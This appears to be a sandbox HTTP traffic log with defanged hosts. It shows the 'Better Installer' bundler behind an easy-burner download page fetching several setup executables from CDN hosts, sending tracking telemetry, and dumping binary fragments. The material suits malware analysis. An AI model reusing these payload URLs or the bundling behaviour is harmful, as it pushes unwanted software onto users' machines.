Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.easy-burner.com&xdm_c=default9204&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 14 Jan 2015 21:12:18 GMT

ETag: W/"969a8ec73e30d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5z1d608b6088622e62f620c9c0b7fb93fcz29565e39af99d2cfb75965a773e5c91ezfa7c8af5304a3392922f34e32b677892z8b5665de52de5e5df60a0af067dcb5dfze3a52fd8f8d85a0733e461f9a6fd8f2dzdc260d8ad19b7173f6ef991bdd048c10z8cac447463eac3b579e2296ec5e3e756&geo=UA HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Type: application/x-javascript

Content-Length: 0

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Tue, 24 Feb 2015 03:03:01 GMT

ETag: D41D8CD98F00B204E9800998ECF8427E

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:02:59 GMT..Content-Type: ap
plication/x-javascript..Content-Length: 0..Connection: keep-alive..Cac
he-Control: public, max-age=3600, s-maxage=31536000..Expires: Tue, 24 
Feb 2015 03:03:01 GMT..ETag: D41D8CD98F00B204E9800998ECF8427E..X-AspNe
t-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2.
.X-Cache: MISS..

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.0

VTag: 438513842300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Tue, 24 Feb 2015 02:02:43 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.5

VTag: 79135628200000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=900

Date: Tue, 24 Feb 2015 02:02:43 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 279883243600000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=900

Date: Tue, 24 Feb 2015 02:02:43 GMT

Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 279883243600000000..P3P: 
CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR S
AMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conte
nt-Length: 550..Cache-Control: max-age=900..Date: Tue, 24 Feb 2015 02:
02:43 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U
....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corp
oration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..15031910360
0Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10
... .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\...
.F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D..
.......-.>...(...g.0.S.[?...T4q>[email protected].('..e.
..Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..<<< skipped >>>

GET /live/red_lojson/300lo.json?1wh6jn1&colc=1424743401891&si=54ebdbe8f5a295b8&uid=54ebdbe927fc2ac0&pub=easyburner&rev=18.0-edge&jsl=32&ln=en&pc=men&vpc=&dp=VVV.easy-burner.com&fp=en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&aa=0&of=0&uf=1&nt=cs;0,ce;0,dc;854,dclee;854,dcles;854,di;848,dl;798,dle;0,dls;0,fs;0,lee;u,les;854,ns;0,rs;38,rspe;800,rsps;798,scs;u&pd=0&irt=0&ct=1&tct=0&abt=0<=884&cdn=0&lnlc=US&whcs=1&tl=c=794,m=798,i=812,xm=1690,xp=1693&pi=1&&rb=0&gen=1000&gen=100&callback=_ate.track.hsr&uvs=54ebdbe876b9a3e4000&chr=utf-8&md=0&vcl=0 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://s7.addthis.com/static/r07/sh200.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: m.addthis.com

DNT: 1

Connection: Keep-Alive

Cookie: uid=54ebdbe927fc2ac0; uvc=1|8; uit=1


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:02 GMT

Cache-Control: max-age=0, no-cache, no-store

Pragma: no-cache

Set-Cookie: di2=NK9712.UYM;Path=/;Domain=.addthis.com;Expires=Thu, 23-Feb-2017 02:03:02 GMT

Set-Cookie: bt=;Path=/;Domain=.addthis.com;Expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: dt=X;Path=/;Domain=.addthis.com;Expires=Thu, 26-Mar-2015 02:03:02 GMT

Expires: Thu, 01 Jan 1970 00:00:00 GMT

P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"

Content-Type: application/javascript;charset=UTF-8

Content-Encoding: gzip

Connection: close
...........O,I. )JL...(...V*NM.M. )V....Q*-...r.....|]..}]........J.* 
[email protected].[u|i[...HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:03
:02 GMT..Cache-Control: max-age=0, no-cache, no-store..Pragma: no-cach
e..Set-Cookie: di2=NK9712.UYM;Path=/;Domain=.addthis.com;Expires=Thu, 
23-Feb-2017 02:03:02 GMT..Set-Cookie: bt=;Path=/;Domain=.addthis.com;E
xpires=Thu, 01-Jan-1970 00:00:00 GMT..Set-Cookie: dt=X;Path=/;Domain=.
addthis.com;Expires=Thu, 26-Mar-2015 02:03:02 GMT..Expires: Thu, 01 Ja
n 1970 00:00:00 GMT..P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DE
V IND COM STA"..Content-Type: application/javascript;charset=UTF-8..Co
ntent-Encoding: gzip..Connection: close.............O,I. )JL...(...V*N
M.M. )V....Q*-...r.....|]..}]........J.* [email protected].[u|i[.....

GET /css?family=Abel HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Timing-Allow-Origin: *

Expires: Tue, 24 Feb 2015 02:02:06 GMT

Date: Tue, 24 Feb 2015 02:02:06 GMT

Cache-Control: private, max-age=86400

Content-Length: 155

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0.08
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Tue, 24 Feb 2015 02:02:06 GMT..Date: Tue, 24 Feb 20
15 02:02:06 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.08..@font-face {.  font-family: 'Abel';.  font-style: normal;. 
 font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT
2a1878zysq92S8_9w.eot);.}...

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 636

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: VtH3w5bYILpOknkQ2WVB1Jq_qh26axCRhXzI_mTAYuoogwpOGje4nA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................V...F....UC...~.
.F.P.et....y..N.Q..t......E....P#C.t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........<<< skipped >>>

GET /download.php?msorder=5&smsorder=0&campaign=14776&tracker=2200 HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: app.easy-burner.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:34 GMT

Content-Type: octet-stream

Connection: keep-alive

Set-Cookie: softdown=1424743234122287; expires=Tue, 24-Feb-2015 02:05:34 GMT; path=/

Set-Cookie: install_cookie=14776,,; expires=Thu, 26-Mar-2015 02:00:34 GMT; path=/; domain=easy-burner.com

Content-Disposition: filename=easyburner-setup.exe

Content-Length: 1498064

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....

<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 00:24:31 GMT

Expires: Tue, 24 Feb 2015 02:24:31 GMT

Last-Modified: Thu, 05 Feb 2015 17:35:24 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16065

Age: 5908

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: public, max-age=7200
...........}.W...........>)B..&.Y.( (...s\.......t.........:......w
..T...]..T~2.........9\.2.=......{..A..{..dx.K..vz/..G:.....q*b..Go.[q
....Rh..z:..V.x.})...P..aoQ...n_.a4....&..a.....Siz.JC.... ..z..J{. C/
...CO\AP]..N..>..d..=1...?..5&.j......f{."........e.....K.g......}.
...6.S.>J...a. /$....B..W...Sh9.jw..a?..~..w.q9....!9.t.=.....$m.,.
X.O,....u$.,cH.......:...X....../.......'n!..] ..T... b.=.........X..c
.m.w......]..G#3..$......(....~.:..G.....{r.....`......S.CHA..J....J.N
...,V.2.5.YZ2..,..._rb.D.Tv.2.P<....{.O..{N...~;^.,.ryy.........c..
,y^..n..Y.A^.....B.P><x P'...A..y..To;[email protected]..
.l.. ..2...._..!.l..V.N..0.....K?..Uy...b....t........${q.....c..B....
.:&.b.FO.... ...r1jd....&q8......az.....S.&.....y(.|.......:=..txo....
..f......Dwa=..........a...oB...Q.q......=J5 ..,...KK1t.,.T.K.^^.|..,.
.$.&.|..e>...Ux...).=:l.R..*.zF<[email protected] .:...G
[email protected].?.... ....V=.......$.ad.0.......`.KM..y..$X..m\i....</Ovl;.
...Ij.[Ze;.H.R.......Y.^.G....6...Y...!D8..O&.^..k...*......N)%......(
....xV...D*a....(%..P.... .!4...p...m....}.[7.|.6_.|g/...BKC.....[.../
5.2M......S....q..oaX.l......NX.n...Lcj....*.....r0%[<..aZ.J..N.v..
s...........A\.f... Y..N...o.R..5.....ok.fea.A...gy !W,..S9l......Ika.
bWo.Q.....T)/.-l1.....3...T...x...).'@@H.F.... Is.....gbs ......U.....
=....u.Vhv(.i..z..`^..8.W... ...8...u.X..-.q...Db.p..V.N.......-LB....
.a...cD'.%..R).....Ym5..%[email protected] .:.B...Om.....U..k.>.......
..P. G.!SI.!(q.k6m..sxWg..uM]1..;.W.=.....b.)J.V[..4. ..Z>..E1.<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1772117590&utmhn=VVV.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=//goal&utmht=1424743399965&utmac=UA-15433929-1&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=67495650&utmredir=1&utmu=qACgAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 24 Feb 2015 02:03:00 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.08

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 24 Feb 2015 02:03:00 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..

GET /sd?is=sm HTTP/1.1

Range: bytes=291576-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 291576-583151/583152

Content-Length: 291576

Connection: keep-alive
HTTP/1.1 206 Partial Content..Pragma: no-cache..Content-Type: applicat
ion/octet-stream..Server: Microsoft-IIS/7.5..Content-Disposition: atta
chment; filename=SourceAppSetup.exe..X-AspNet-Version: 4.0.30319..SVR:
 SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Cache-Control:
 private, max-age=86400..Expires: Wed, 25 Feb 2015 02:00:31 GMT..Date:
 Tue, 24 Feb 2015 02:00:31 GMT..Content-Range: bytes 291576-583151/583
152..Content-Length: 291576..Connection: keep-alive..G.Z.....H.<.C.
..t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h....).$....A........
yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z...D...g.....u.6.
I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'......xO62.P.qw&.
(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<:..J....J.;..<
;...X.)p...::I_U.........8..5..Y"..L<36..c}t..;....j.....?....@.`..
.....I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....5"...(......../..
...W..~..].@.. [email protected]%.Y...r]a.b.......)G..n[T...}O
....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....IaPJ"..].Pm..K.>
.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......'3.1..m..0..=.^..
._...S...M...i.t..yq....|....T.....&v.e.........D....Z.7...T.......I..
.$.....A ..er....o...C..Y...A.F]hy!..q.........#....@$D.$L<...Uy..|
;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@.._&.Q..J.V.Us.!..E
[email protected]....\<1.|.*...m>....o#.@..&1...E...z....v.m
.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|.vfU. ..R.....x..
Yg.._..u...G. ...N[[email protected].,...g.=}4n......aH..<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=23793 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 07 May 2013 09:09:49 GMT

Date: Fri, 23 Jan 2015 09:49:04 GMT

Expires: Sat, 23 Jan 2016 09:49:04 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 60666

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 2736782

Alternate-Protocol: 80:quic,p=0.08
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
